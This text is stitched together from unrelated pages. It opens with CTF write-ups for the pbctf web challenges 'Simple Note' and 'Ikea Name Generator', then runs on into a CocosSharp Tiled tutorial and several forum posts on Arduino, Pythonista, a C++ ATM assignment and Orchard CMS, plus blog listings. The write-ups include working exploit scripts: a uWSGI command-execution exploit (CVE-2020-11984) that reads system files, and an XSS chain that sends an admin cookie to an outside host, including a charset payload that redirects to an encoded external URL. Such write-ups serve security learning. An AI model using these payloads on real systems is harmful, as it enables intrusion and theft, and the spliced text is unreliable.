Anyway, following the article, we find a GitHub doc about exploiting a public facing uWSGI server (in Chinese). However, we can just yoink their exploit script, which can be found here.
So, this exploit script helps create a payload to send to the server, but we still need to implement the CVE. I used the script to generate a payload that ran
curl to a server, then created the following script:
import requests as r URL = " #URL = " n = -200 headers = { "A": "A"*(4096+n) } print(headers) req = r.post(URL, headers=headers, data=open("test.exp", "rb").read()*15) print(req.text)
This script sends a large header over (with n being a number to modify easily), then sends the exploit packet 15 times (just to be sure). I used a
POST request, but anything would have worked. Sending this over to my local server, I get a request to my server.
Unfortunately, pointing this exploit to remote didn't work. After DMing an admin, they recommended trying to change the padding, so I randomly changed the padding. However, it didn't work until the admin's pushed another change to the app, making the exploit much more stable.
I used the Python script from the GitHub repo to run the command
cat /flag.txt > /tmp/notes/strellicez, then, navigating to
/notes/strellicez I get the flag.
pbctf{pwn1n6_ap4ch3_i5_St1ll w3b r1gh7?}
Third solve! After getting the flag, I decided to make a nicer script, and eventually realized that whatever change the admin's pushed made it so you don't even need any header spam.
Here's my full solve script.
import urllib.parse import socket # CVE-2020-11984 exploit script # for pbctf web challenge Simple Note HOST = " #HOST = " CMD = "cat /etc/passwd > /tmp/notes/passwd_note" url = urllib.parse.urlparse(HOST) host = "127.0.0.1" if url.netloc.split(":")[0] == "localhost" else socket.gethostbyname(url.netloc) port = url.port or 80 # taken from def fromhex(data): padded = hex(data if isinstance(data, int) else len(data))[2:].rjust(4, '0') return bytes.fromhex(padded)[::-1] def generate_packet(cmd): packet = { 'SERVER_PROTOCOL': 'HTTP/1.1', 'REQUEST_METHOD': 'GET', 'PATH_INFO': "/nowhere", 'REQUEST_URI': "/nowhere", 'QUERY_STRING': "", 'SERVER_NAME': host, 'HTTP_HOST': host, 'UWSGI_FILE': f"exec://{cmd}", 'SCRIPT_NAME': "/nowhere" } pk = b'' for k, v in packet.items() if hasattr(packet, 'items') else packet: pk += fromhex(k) + k.encode('utf8') + fromhex(v) + v.encode('utf8') result = b'\x00' + fromhex(pk) + b'\x00' + pk return result packet = generate_packet(CMD) print(f"[!] Exploit packet generated! Length: {len(packet)}") conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((host, port)) http = b'GET / HTTP/1.1\r\n' http += b'Host: ' + url.netloc.encode() + b'\r\n' http += b'Content-Length: ' + str(len(packet)).encode() + b'\r\n' http += b'\r\n' http += packet conn.send( print(f"[!] Exploit packet sent!")
Ikea Name Generator was a very "scuffed" web challenge. The hardest part of this challenge was probably trying to encode the payload correctly. In the website, you can input your name to generate your own IKEA name. You could also report a URL to an admin. There was also a login page, but you needed a special cookie only the admin had.
So, the goal was obvious - XSS to leak cookie from admin, then login to get the flag.
There was a very simple XSS vector, we could just ask for any HTML to be encoded, and it would get rendered directly on the page. However, there was a problem - CSP.
Checking the CSP headers on the site, we see:
default-src 'none'; script-src 'self' connect-src 'self'; frame-src 'self'; img-src 'self'; style-src 'self' base-uri 'none';
If you don't know, CSP stands for Content Security Policy, where the page can load scripts, styles, images, etc. from. Since
script-src didn't contain
unsafe-inline, we can't put our own script tag on the page. Google's CSP-Evaluator doesn't really see anything wrong with the CSP, so I assume that there's nothing wrong with
bootstrapcdn or
lodash.
Here's the source code of the website:
<!DOCTYPE > <html> ="/app.css"> <script src=" </head> <body> <div class="container"> <div class="d-flex justify-content-end"> <a href="/login.php">Login</a> </div> <div class="d-flex justify-content-center"> <h1>IKEA name generator</h1> </div> <div class="d-flex justify-content-center"> <p>Wanna know your IKEA name?</p> </div> <div class="d-flex justify-content-center"> <div class="input-group"> <input id="input-name" value="<h1>yo</h1>" class="form-control" placeholder="Enter your name here"/> <div class="input-group-append"> <button id="button-submit" class="btn">Submit</button> </div> </div> </div> </div> <br/> <br/> <br/> <div class="d-flex justify-content-center"> <div id="output"><h1>yo</h1>, your IKEA name is : </div> </div> <script src="/config.php?name=%3Ch1%3Eyo%3C%2Fh1%3E"></script> <script src="/app.js"></script> <div class="container"> <div class="d-flex justify-content-end"> Don't like your IKEA name? Report it <a href="/report.php">here</a>. </div> </div> <img id="tracking-pixel" width=1 height=1 </body> </html>
We see links to two scripts,
config.php, and
app.js.
config.php takes a GET parameter,
name, and then outputs a
CONFIG object.
// CONFIG = { url: "/get_name.php", name: "hello" }
Unfortunately, we can't escape the quotes to inject our own JavaScript here since our payload is encoded correctly. (or can we? check the sidenote at the end!)
app.js holds the client-side logic behind the app:
function createFromObject(obj) { var el = document.createElement("span"); for (var key in obj) { el[key] = obj[key] } return el } function generateName() { var default_config = { "style": "color: red;", "text": "Could not generate name" } var output = document.getElementById('output') var req = new XMLHttpRequest(); req.open("POST", CONFIG.url); req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded") req.onreadystatechange = function () { if (req.readyState === XMLHttpRequest.DONE) { if (req.status === 200) { var obj = JSON.parse(req.responseText); var config = _.merge(default_config, obj) sandbox = document.createElement("iframe") sandbox.src = "/sandbox.php" var el = createFromObject({ style: config.style, innerText: config.text }) output.appendChild(sandbox) sandbox.onload = function () { sandbox.contentWindow.output.appendChild(el) } } } } req.send("name=" + CONFIG.name) } window.onload = function() { document.getElementById("button-submit").onclick = function() { window.location = "/?name=" + document.getElementById("input-name").value } generateName(); }
The gist of
app.js is that when
generateName() is called, it makes a request to
CONFIG.url with
CONFIG.name, then merges the content with
default_config, then places that into an iFrame pointed to
/sandbox.php. Seems very contrived...
The last part of the HTML that seemed very suspicious was a tracking-pixel at
/track.php. One thing to always remember when doing challenges: anything "extra" in a challenge that doesn't seem necessary probably is important in some way. Going to
/track.php, we get redirected to a 404 page,
which just prints
Sorry, this page is unavailable..
Hm... it looks like whatever we put in the
msg parameter gets echoed out back to the page. My initial idea is to just place JS code in the
msg parameter, then embed that using a
script tag. Since it's on
it should be allowed by CSP.
However, doing this gives us an error:
Damn, it looks like the
404.php just outputs text in mime type
text/plain, so it won't be usable. However, this gives me an idea - if we can set
CONFIG.url to point to
404.php, we can have it output whatever we want. Remember, in the CSP,
connect-src is set to only
self, so
CONFIG.url has to point to some place on the website.
But if we don't have JS, how can we set
CONFIG.url? The answer: DOM clobbering.
CONFIG, we can break the website. However, the
CONFIG variable name is already defined, so this doesn't work. Unless...
If we comment out the rest of the page,
config.php is never included, so
CONFIG is never defined. If we do this, and also embed
app.js, we change the
CONFIG variable.
Now, how do we change
CONFIG.url to point to a specific place? Well, we can exploit HTML collections. Following this article, if we do:
<a id="CONFIG"><a id="CONFIG" name="url" href="
CONFIG.url gets set to
How does this work? Well, if we check the value of
CONFIG in the console, we see:
Multiple elements with the same
id create an HTML collection where both their index and
name get mapped to their HTML element. So,
CONFIG.url points to the second HTML element with the url. Now,
a elements have this special property, where running
toString() on them returns their
href.
So, with this method, we can set
CONFIG.url to point to wherever we want (but it'll only work for a place on the website b/c of CSP). Now, if we include
app.js right before the comment, it'll make a request to whatever url we want. Now, what can we do with this...
Well, the response is parsed as JSON and combined with
default_config using
lodash's
_.merge. This introduces another vulnerability: prototype pollution. In JS, objects can have a prototype object which is basically the parent template where the object can inherit methods and properties from.
In
app.js, an element is created using
createFromObject and placed in the sandboxed iFrame:
var el = createFromObject({ style: config.style, innerText: config.text })
Since
innerText is used, we can't inject HTML into the element. We need to be able to set
innerHTML to get XSS on the sandbox object. Since a new object is created here from the prototype, what if we pollute the prototype of objects? Any properties we set on the prototype will be passed to its children.
So, our goal is to pollute the prototype of the base JS object to have
innerHTML set by default. Our
JSON is merged with
default_config, so we can do
default_config.constructor to get access to the base JS object. Then, we can do
default_config.constructor.prototype to get access to its prototype. From there, we can set any property we want, like
innerHTML, to have it passed down to any newly created objects.
Try running this in the console if you want to try it out:
let default_config = { "a": "b" }; default_config.constructor.prototype.innerHTML = "<h1>hello!</h1>"; console.log(({}).innerHTML); // outputs: <h1>hello!</h1>
So, the correct JSON payload would be:
{"constructor": {"prototype": {"innerHTML": "<h1>hello!</h1>"}}}
Again, we can use
404.php to have it output this JSON, then use DOM clobbering to have it request this url and get merged. So, our payload is:
<a id="CONFIG"><a id="CONFIG" name="url" href=' src="/app.js"></script><!--
Sending this, we see:
Right, now we have XSS in
sandbox.php. What can we do with this? My first instinct was to run JS and exfiltrate the cookie, but CSP strikes again. But this time, there's a different CSP...
default-src 'none'; script-src 'self' style-src 'self' connect-src base-uri 'none';
Well, this time, angular is allowed to run. And now, our connect-src is any
website. So, if we can somehow run JS code on the sandbox, we can send it over to our server easily. The problem is that
script-src still doesn't let us run arbitrary JS...
angular.js is allowed in the CSP, so obviously it's a part of the solution. Let's try to get angular running in
sandbox.php.
sandbox.php doesn't include it in its source code, so we embed the
script tag in our innerHTML payload. But, this doesn't work...
Unfortunately, you can't inject script tags dynamically through innerHTML. Script tags need to be there when the page loads, or need to be created dynamically through
document.createElement. So, what do we do now?
Well, we can abuse the
srcdoc attribute of an
iFrame. The
srcdoc attribute specifies the HTML content to show in the inner frame. So, if we inject an iFrame like:
<iframe srcdoc="<script src='
we can get angular running in the frame.
This is when I started to have a ton of trouble with encoding and chaining all of the different payloads. But, let's skip that mess. With angular running in the frame, do we now have arbitrary JS execution? No.
Angular does allows for another web attack, template injection. Even with angular injected, the CSP is still too restrictive. One common payload is:
<div ng-app> {{ constructor.constructor("alert(1)")() }} </div>
but this requires angular to be able to evaluate code from strings, which is only given when
unsafe-eval is allowed in the script-src. But, angular has event handlers. We might be able to get angular to run when something happens on the page, which hopefully will run code.
I was stuck here for a while as I couldn't get angular CSP bypasses to work. However, my teammate found this exploit:
<div ng-app ng-csp><textarea autofocus</textarea></div>
from this page. In this HTML, the angular in
ng-focus is run when the
textarea is focused, which should happen automatically because of the
autofocus attribute. With this, we can try to modify the payload to get it to exfiltrate cookies.
He came up with the following script, which utilizes the DOM clobbering, prototype pollution, and angular template injection to steal the admin's cookies:
import urllib.parse import json host = ' frame = '<script src=\' frame += '<div ng-app ng-csp><textarea autofocus</textarea></div>' prototype_exploit = { 'constructor': { 'prototype': { 'innerHTML': f'<iframe srcdoc="{frame}" name=" } } } prototype_url = host + '404.php?' + urllib.parse.urlencode({ 'msg': json.dumps(prototype_exploit) }) clobber_exploit = f"""<a id="CONFIG"> <a id="CONFIG" name="url" href="{prototype_url}"> yo </a> </a> <script src="/app.js"> </script><!--""" final_url = host + '?' + urllib.parse.urlencode({ 'name' : clobber_exploit}) print(final_url)
Probably the hardest part at this point was encoding everything correctly, as we had to chain all these exploits together into one URL that had all the correct quotes and apostrophes. This script helped make everything easier.
Running this, we get the following URL:
Setting a cookie to test, and navigating to that URL, we see our cookies exposed on our server. Now, if we report this URL to the admin, we see:
Now, setting this cookie and navigating to the login page, we get the flag.
pbctf{pr0t0typ3_p0llut10n_1s_4_f34tur3}
Sidenote, I just saw this amazing solution from another team that I definitely wanted to talk about. Using their payload, the URL I generated is:
This doesn't use prototype pollution, DOM clobbering, or template injection - it just relies on unicode and script tag charsets! The
charset attribute of a script tag specifies the encoding used. Again,
config.php works by taking the
GET parameter, escaping it, and then placing it into the JS object.
Unfortunately, we can't get arbitrary code execution since we can't escape the quotes as they're escaped. However, I didn't realize that through abusing weird charsets, we can escape the quotes! The specific URL that they use for
config.php is:
When viewing this normally, the page looks like this:
CONFIG = { url: "/get_name.php", name: "(J\"(B};{location.href=(`${atob(`Ly9tb2Nvcy5raXRjaGVuOjgwODAv`)}`+document.cookie)};{a=$Ba" }
But, this is injected in a script tag with charset ISO-2022-JP! When this is interpreted with this charset, we find the code transforms to:
CONFIG = { url: "/get_name.php", name: "¥"};{location.href=(`${atob(`aHR0cHM6Ly9lbnFldzZ6bjYza3EueC5waXBlZHJlYW0ubmV0Lw==`)}`+document.cookie)};{a=瓣 }
This script is included in the page, and the admin is redirected to their server with the cookie! This was probably found through fuzzing different charsets, but I thought this was just super cool. The escaped slash gets swallowed up encoding the symbols, so this charset allowed the author to escape the quotes and write their own payload. Super cool.
This CTF was a ton of fun and I learned a lot. I did make some progress on XSP (but getting xs-leaks working correctly evades me for the 3rd time), and learned some Ruby for the first time from r0bynotes. My teammates this year were super amazing, and incredibly helpful in researching, investigating, and debugging when the shit I did went wrong. Special thanks to perfect blue for hosting a great CTF, and I hope to do well next year!
|
https://brycec.me/posts/pbctf_writeups
|
CC-MAIN-2022-21
|
refinedweb
| 4,282
| 58.89
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Using Tiled with CocosSharp
- PDF for offline use
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- Sample Code:
-
- Related Links:
-
Let us know how you feel about this
Translation Quality
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last updated: 2017-03
Tiled is a powerful, flexible, and mature application for creating orthogonal and isometric tile maps for games. CocosSharp provides built-in integration for Tiled’s native file format.
Overview
The Tiled application is a standard for creating tile maps for use in game development. This guide will walk through how to take an existing .tmx file (file created by Tiled) and use it in a CocosSharp game. Specifically this guide will cover:
- The purpose of tile maps
- Working with .tmx files
- Considerations for rendering pixel art
- Using Tile properties at runtime
When finished we will have the following demo:
The Purpose of Tile Maps
Tile maps have existed in game development for decades, but are still commonly used in 2D games for their efficiency and esthetics. Tile maps are able to achieve a very high level of efficiency through their use of tile sets – the source image used by tile maps. A tile set is a collection of images combined into one file. Although tile sets refer to images used in tile maps, files that contain multiple smaller images are also called sprite sheets or sprite maps in game development. We can visualize how tile sets are used by adding a grid to the tile set that we’ll be using in our demo:
Tile maps arrange the individual tiles from tile sets. We should note that each tile map does not need to store its own copy of the tile set – rather, multiple tile maps can reference the same tile set. This means that aside from the tile set, tile maps require very little memory. This enables the creation of a large number of tile maps, even when they are used to create a large game play area, such as a scrolling platformer environment. The following shows possible arrangements using the same tile set:
Working with .tmx Files
The .tmx file format is an XML file created by the Tiled application, which can be downloaded for free on the Tiled website. The .tmx file format stores the information for tile maps. Typically a game will have one .tmx file for each level or separate area.
We’ll be focusing on how to use existing .tmx files in CocosSharp; however, additional tutorials can be found online, including this introduction to the Tiled map editor.
We’ll need to unzip the content zip file to use it in our game. The first thing to note is that tile maps use both the .tmx file (dungeon.tmx) as well as one or more image files which define the tile set data (dungeon_1.png). Our game needs to include both of these files to load the .tmx at runtime, so we will add both to our project’s Content folder (which is contained in the Assets folder in Android projects). Specifically, we’ll add our files to a folder called tilemaps inside the Content folder:
The dungeon.tmx file can now be loaded at runtime into a
CCTileMap object. Next, modify the
GameLayer (or equivalent root container object) to contain a
CCTileMap instance and to add it as a child:
public class GameLayer : CCLayer { CCTileMap tileMap; public GameLayer () { } protected override void AddedToScene () { base.AddedToScene (); tileMap = new CCTileMap ("tilemaps/dungeon.tmx"); this.AddChild (tileMap); } }
If we run the game we will see the tile map appear in the bottom-left corner of the screen:
Considerations for Rendering Pixel Art
Pixel art, in the context of video game development, refers to 2D visual art which is typically created by-hand, and is often low resolution. Pixel art can be restrictively time intensive to create, so pixel art tile sets often include low-resolution tiles, such as 16 or 32 pixel width and height. If not scaled at runtime, pixel art is often too small for most modern phones and tablets.
We can adjust displayed dimensions in our game’s GameAppDelegate.cs file, where we’ll add a call to
CCScene.SetDefaultDesignResolution:
public override void ApplicationDidFinishLaunching (CCApplication application, CCWindow mainWindow) { application.PreferMultiSampling = false; application.ContentRootDirectory = "Content"; application.ContentSearchPaths.Add ("animations"); application.ContentSearchPaths.Add ("fonts"); application.ContentSearchPaths.Add ("sounds"); CCSize windowSize = mainWindow.WindowSizeInPixels; float desiredWidth = 1024.0f; float desiredHeight = 768.0f; // This will set the world bounds to be (0,0, w, h) // CCSceneResolutionPolicy.ShowAll will ensure that the aspect ratio is preserved CCScene.SetDefaultDesignResolution (desiredWidth, desiredHeight, CCSceneResolutionPolicy.ShowAll); // Determine whether to use the high or low def versions of our images // Make sure the default texel to content size ratio is set correctly // Of course you're free to have a finer set of image resolutions e.g (ld, hd, super-hd) if (desiredWidth < windowSize.Width) { application.ContentSearchPaths.Add ("images/hd"); CCSprite.DefaultTexelToContentSizeRatio = 2.0f; } else { application.ContentSearchPaths.Add ("images/ld"); CCSprite.DefaultTexelToContentSizeRatio = 1.0f; } // New code: CCScene.SetDefaultDesignResolution (380, 240, CCSceneResolutionPolicy.ShowAll); CCScene scene = new CCScene (mainWindow); GameLayer gameLayer = new GameLayer (); scene.AddChild (gameLayer); mainWindow.RunWithScene (scene); }
For more information on
CCSceneResolutionPolicy, see our guide on handling resolutions in CocosSharp.
If we run the game now, we’ll see the game take up the full screen of our device:
Finally we’ll want to disable antialiasing on our tile map. The
Antialiased property applies a blurring effect when rendering objects which are zoomed in. Antialiasing can be useful for reducing the pixelated look of graphical objects, but may also introduce its own rendering artifacts. Specifically, antialiasing blurs the contents of each tile. However, the edges of each tile are not blurred, which makes the individual tiles stand out rather than blending in with adjacent tiles. We should also note that pixel art games often preserve their pixelated look to maintain a retro feel.
Set
Antialiased to
false after constructing the
tileMap:
protected override void AddedToScene () { base.AddedToScene (); tileMap = new CCTileMap ("tilemaps/dungeon.tmx"); // new code: tileMap.Antialiased = false; this.AddChild (tileMap); }
Now our tile map will not appear blurry:
Using Tile Properties at Runtime
So far we have a
CCTileMap loading a .tmx file and displaying it, but we have no way to interact with it. Specifically, certain tiles (such as our treasure chest) need to have custom logic. We’ll step through how to detect custom tile properties, and various ways to react to these properties once identified at runtime.
Before we write any code, we’ll need to add properties to our tile map through Tiled. To do this, open the dungeon.tmx file in the Tiled program. Be sure to open the file which is being used in the game project.
Once open, select the treasure chest in the tile set to view its properties:
If the treasure chest properties do not appear, right-click on the treasure chest and select Tile Properties:
Tiled properties are implemented with a name and a value. To add a property, click the + button, enter the name IsTreasure, click OK, then enter the value true:
Don’t forget to save the .tmx file after modifying properties.
Finally, we’ll add code to look for our newly-added property. We will loop through each
CCTileMapLayer (our map has 2 layers), then through each row and column to look for any tiles which have the
IsTreasure property:
public class GameLayer : CCLayer { CCTileMap tileMap; public GameLayer () { } protected override void AddedToScene () { base.AddedToScene (); tileMap = new CCTileMap ("tilemaps/dungeon.tmx"); // new code: tileMap.Antialiased = false; this.AddChild (tileMap); HandleCustomTileProperties (tileMap); } void HandleCustomTileProperties(CCTileMap tileMap) { // Width and Height are equal so we can use either int tileDimension = (int)tileMap.TileTexelSize.Width; // Find out how many rows and columns are in our tile map int numberOfColumns = (int)tileMap.MapDimensions.Size.Width; int numberOfRows = (int)tileMap.MapDimensions.Size.Height; // Tile maps can have multiple layers, so let's loop through all of them: foreach (CCTileMapLayer layer in tileMap.TileLayersContainer.Children) { // Loop through the columns and rows to find all tiles for (int column = 0; column < numberOfColumns; column++) { // We're going to add tileDimension / 2 to get the position // of the center of the tile - this will help us in // positioning entities, and will eliminate the possibility // of floating point error when calculating the nearest tile: int worldX = tileDimension * column + tileDimension / 2; for (int row = 0; row < numberOfRows; row++) { // See above on why we add tileDimension / 2 int worldY = tileDimension * row + tileDimension / 2; HandleCustomTilePropertyAt (worldX, worldY, layer); } } } } void HandleCustomTilePropertyAt(int worldX, int worldY, CCTileMapLayer layer) { CCTileMapCoordinates tileAtXy = layer.ClosestTileCoordAtNodePosition (new CCPoint (worldX, worldY)); CCTileGidAndFlags info = layer.TileGIDAndFlags (tileAtXy.Column, tileAtXy.Row); if (info != null) { Dictionary<string, string> properties = null; try { properties = tileMap.TilePropertiesForGID (info.Gid); } catch { // CocosSharp } if (properties != null && properties.ContainsKey ("IsTreasure") && properties["IsTreasure"] == "true" ) { layer.RemoveTile (tileAtXy); // todo: Create a treasure chest entity } } } }
Most of the code is self-explanatory, but we should discuss the handling of treasure tiles. In this case we are removing any tiles which are identified as treasure chests. This is because treasure chests will likely need custom code at runtime to effect collision, and to award the player the contents of the treasure when opened. Furthermore, the treasure may need to react to being opened (changing its visual appearance) and may have logic for only appearing when all on-screen enemies have been defeated.
In other words, the treasure chest will benefit from being an entity rather than being a simple tile in the
CCTileMap. For more information on game entities, see the Entities in CocosSharp guide.
Summary
This walkthrough covers how to load .tmx files created by Tiled into a CocosSharp application. It shows how to modify the app resolution to account for lower-resolution pixel art, and how to find tiles by their properties to perform custom logic, like creating entity.
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https://docs.mono-android.net/guides/cross-platform/game_development/cocossharp/tiled/
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CC-MAIN-2017-30
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refinedweb
| 1,623
| 56.55
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hello, I write this code and it doesn’t work correctly. I don’t know why? I want when I press the button, led turns on after (for example) 5 sec. but if I power on arduino and after 20 sec press the button, led turns on immediately. could you help me.
code:
#include <Bounce2.h> #define ls1 3 #define yellow 5 //LED yellow unsigned long timecurrent; unsigned long timeccw = 5000; unsigned long timepccw = 0; int ccw = 0; Bounce debouncer1 = Bounce(); void setup() { pinMode(ls1,INPUT_PULLUP); debouncer1.attach(ls1); debouncer1.interval(5); pinMode(yellow, OUTPUT); } void loop() { timecurrent = millis(); debouncer1.update(); if (debouncer1.fell()){ ccw = 1; } if (ccw == 1){ if (timecurrent - timepccw >= timeccw){ timepccw = timecurrent; digitalWrite(yellow, HIGH); } } }
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https://forum.arduino.cc/t/millis-problem/660985
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CC-MAIN-2022-05
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refinedweb
| 118
| 60.82
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Syntax for scene_drawing module...
- themusicman
Hi All
So I am trying to draw a simple line in Pythonista. I have selected a new game type template and the documentation states;
scene_drawing — Drawing Functions for the scene module The functions in this module can be used within the scene.Scene.draw() method when using the classic render loop mode of the scene module.
The default game/animation template is thus;
from scene import * import sound import random import math A = Action class MyScene(Scene): def setup(self): pass def did_change_size(self): pass def update(self): pass def touch_began(self, touch): pass def touch_moved(self, touch): pass def touch_ended(self, touch): pass if __name__ == '__main__': run(MyScene(), show_fps=False)
From the documentation I think I need to set up a def draw(self): function, but I am not sure what the documentation means when it refers to the scene.Scene.draw() method when using the classic render loop mode of the scene module.
Could someone help explain the syntax of what I need to include where please. Many thanks.
there are sort of two types of Scene.
The first, newer style, uses SpriteNodes, and has its update method called each frame.
The second uses a draw() method, called every frame, where you can use the scene drawing methods. those methods must be used inside of draw() because that is where a drawing context is set up for you.
As an alternative, you can use a ui.ImageContext and the Path drawing commands, then get the image from the context, and set as the texture to a sprite node. Or, for simple path drawing, you can use ShapeNodes.
i think there are probably some old examples in the pythonista tools repo.
- themusicman
Thanks @jonb much appreciated. I’ve now managed to get the webIDE up and running, too!
So, I have done some stuff using the spritenode system, and managed to pretty much successfully (well at least for me!) to get a version of connect4 coded and working using the default game/animation template as the start. However, I couldn’t find any way of drawing a simple line... surely I am missing something here Jon, and one should easily be able to do that somehow? Any pointers?
If you wanted to,say, draw a line connecting the 4, over the top, you would use a ShapeNode. Things are a little annoying because, iirc, the shape gets autoresized in annoying ways.
But effectively something like
P=ui.Path()
P.line_to(dx, dy)
L=ShapeNode(path=P)
L.anchor_point=(dx<0,dy<0)
You need to set the anchor point depending on the signs of dx and dy-- if you want the x,y position of L to set the location of the start of the line -- if the line is going right, the anchor point should be on the left, etc.
You may need to set the ShapeNode line color, fill color, stroke width, etc.
For what it's worth --
Had an example of a scene that used a rounded_rect ShapeNode, setting the rotation to cause it to rotate. Likewise this gives you more control of your line -- you would have to calculate the angle to rotate based on your desired start/end points (using math.atan)
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https://forum.omz-software.com/topic/5544/syntax-for-scene_drawing-module
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CC-MAIN-2019-35
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refinedweb
| 544
| 70.63
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I am writing an atm program for a class and will enclose the instructions. I really want to just write a section of code and make sure I am doing it right before I move on. I am starting with the main menu and was wanting to know if someone could look at the instructions and make sure I did this correctly...
assumptions
1 - only direct account transactions will be done on this ATM
2 - assume this ATM is a bank ATM, no transaction fees
3 - this application will be a 'dos' application
4 - app should be able to cancel at any point via back (goes to main menu, screen 4 and beyond) or exit atm (screens 2 & 3)
5 - max 3 times to log in, after 3 times = show message "your account has been locked."
6 - this is a swipe machine
7 - every screen will have a feedback line on line 1
8 - Can only hold 10,000 dollars before ATM out of order (effects withdrawls, deposits and maintenance screen)
9 - Any withdrawl has to be in $20 amounts, transfers don't have this limitation
10 - Account files will be prepopulated
11 - User can only withdrawl $300 amount per day
12 - Every transaction has a date/time stamp, account #
/* 13 - Information only on screen, or printed/receipts */
Welcome Screen (screen 1)
"hit enter to simulate inserting card"
Data Entry Screen (screen 2)
1) account pin: (resides in a file)
2) exit ATM
-if valid got to main menu
-else, display "invalid account # and/or pin#"
Main Menu Screen (screen 3)
1) withdrawl
2) deposit
3) check balance
4) funds transfer
5) exit ATM
Withdrawl Screen (screen 4.a)
1) from checking
2) from savings
3) quick cash /* optional */
4) back to main menu
Deposit Screen (screen 4.b)
1) to checking
2) to savings
3) back to main menu
Check Balance Screen (screen 4.c)
1) from checking
2) from savings
3) back to main menu
Funds Transfer Screen (screen 4.d)
1) from savings to checking
2) from checking to savings
3) back to main menu
Enter Amount Screen (screen 5.a)
1) Enter Amount
2) back to main menu
/* Quick Cash Amount Screen (screen 5.b)
1) $20.00
2) $40.00
3) $60.00
4) $80.00
5) $100.00
6) back to main menu */
Would you like to perform another transaction (screen 6)
-if yes, go back to screen 2
-else, go to screen 7
Goodbye Screen (screen 7)
display goodbye message, wait 10 seconds, cycle back to welcome screen
/* optional
Maintenance Screen (screen 8)
requires a special pin
1) update money supply
2) exit ATM */
here is my code...
//Class: C++ 230 //Date: 2/16/10 #include <iostream> using namespace std; //Function prototypes void showMenu(); int main () { //Declare variables int choice; //Set the numeric output formatting //cout << fixed << showpoint << setprecision(2); do { //Display the menu and get the user's choice. showMenu(); cin >> choice; //Validate the menu selection. while (choice < 1 || choice > 5) { cout << "Please enter 1, 2, 3, 4, or 5: "; cin >> choice; } } return 0; } void showMenu() { //Display the main menu screen cout << endl << "\t\tMain Menu Screen" << endl << endl; cout << "1) Withdrawal" << endl; cout << "2) Deposit" << endl; cout << "3) Check Balance" << endl; cout << "4) Funds Transfer" << endl; cout << "5) Exit ATM" << endl << endl; cout << "Enter your choice: "; }
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https://www.daniweb.com/programming/software-development/threads/261150/c-atm-project
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refinedweb
| 555
| 68.33
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CodePlexProject Hosting for Open Source Software
I often get this error message:
The IControllerFactory 'Orchard.Mvc.OrchardControllerFactory' did not return a controller for the name 'TheAdmin'.
How are most people handling this? I have a custom theme installed if it help.
I don't remember ever seeing this. Does it reproduce without that custom theme? Did you identify any specific conditions under which this happens? Do you have a stack trace?
Hi Bertrand,
I just reproduced this error without a custom theme as well. All I did was click on "Dashboard" and got the following stack trace. It happens quite frequently when I'm navigating the dashboard..<GetCallInAppTrustThunk)
What modules are enabled?
Can you try to disable your module and the imaging one? (from the command line as you obviously couldn't get to the modules screen)
It turns out it's my module that's causing this apparently. I disabled all other modules except mine and I get the error. I disabled them all and I stopped getting the error. My module makes no reference to "TheAdmin" though. It was
created via the console if that's relevant.
Your module is probably overriding something it shouldn't, preventing TheAdmin to be found.
I'm still struggling to see what I have in my module that could be causing this. Do you know what could possibly be overridden?
Routes?
My routes don't make any mention of "TheAdmin" but I'll comment each route one-by-one just in case this is it. Also, is AdminFilter.cs relevant to this issue? It makes a reference to "TheAdmin".
No they don't, that's not the problem. What I think is happening is that MVC can't build a route for a specific action because it has been shadowed by another route that is equivalent but does *not* point to TheAdmin. So yeah, that's precisely the problem:
you probably have a route that *doesn't* point to TheAdmin and replaces one that did.
As a head's up, I'm seeing the exact same thing when attached with the debugger on my development sites. When browsing the admin, I get the "TheAdmin" controller error on each request. It also started once I created my own module. Interestingly,
I'm also getting the "missing controller" error on the custom theme I'm working on developing (the error states that it's looking for a controller named the same as my theme when browsing the public portion of the site with the debugger attached).
I don't have any routes in my new theme, so I'm not sure how I could be stepping on any routes. I have not been able to nail down a reliable, reproducible test case just yet. Anyone have any additional debugging steps I could take?
Thanks!
One thing that occurs to me, is did you base your module on another one? I'm wondering if you have any namespaces that you haven't altered to your own. I've seen odd problems crop up due to namespace conflicts between modules. Just a possibility.
This is the error that comes up when debugging and there's (what should be) a 404 in the admin. For example, I accidentally put 'builder.AddImageSet("mymodule")' in the AdminMenu stuff, which made Orchard look for a specific CSS file that didn't exist.
If I was debugging, I would get the exception you have referred to in this thread.
Yep, ldhertert, that was it. Thank you much. Exactly what is AddImageSet's purpose?
Good call ldhertert. That was my problem too. I was missing a css file that the system was looking for in a module that I created. Thanks!
Are you sure you want to delete this post? You will not be able to recover it later.
Are you sure you want to delete this thread? You will not be able to recover it later.
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http://orchard.codeplex.com/discussions/257657
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refinedweb
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More web.config information
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Posted By:
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| 5/13/2008 8:18 AM | 0 Comments |
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P.S.
Some photos are on D'Arcy from Winnipeg site on my links menu...
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DevTeach 2008 Day 1
So it is almost 2 am in toronto and i am blogging. Let's see where to begin.. It was quite a crazy day. 8:30 am - Wake up 9:15 am - Co-op Meeting 10:30 am - Pick up the girl 10:45 am - Go back home and do the final checklist to make sure I don't forget anything that i packed 11:30 am - Started running around the city doing errands 1:00 pm - Lunch at Phuong Nam - #25 deluxe pho + vietnamese expresso with condensed milk + ice...soo good 1:30 pm - Go...
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SlickEdit 2008 Second Glance...
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Dev Teach Day 1
Had a good day here in Toronto. Started off with the UG leadership summit. Had good discussion and good times. Looking forward to further discussion around how we're going to share information going forward between user groups. Of course, it wouldn't be an event without a Party with Palermo, and so it was.. Derek Hatchard and Donald Belcham argued over who was more drunk...Donald won. Scott Hanselman...and Donald's head. Jeffrey Palermo, Kelly Cassidy, and Donald's finger (see a trend here?)...
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Silverlight Cream for May 12, 2008 - 2 -- # 273 this morning, Henrik Sderlund wrote me about it, and after exchanging email with him, he wrote back with the CSS solution. How cool is that? Thanks Henrik! From SilverlightCream.com: Button Controls in Silverlight 2 Beta 1 Nikolay Raychev goes...
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Windows CE: Why does my system halt for 20 minutes?
I don't know how many systems are affected by this problem, but apparently there are still some. I do know that the reference BSP for the Intel PXA25x processor boards has a problem. This problem is still biting people because there have recently been questions about it in the Platform Builder newsgroup. The cause is really quite simple. A shared resource with nothing to protect it from interrupts during read-modify-write operations. In this case, there are two sets of code that access the time...
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| 5/12/2008 6:26 PM | 0 Comments |
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Open Page in Default Browser From Code
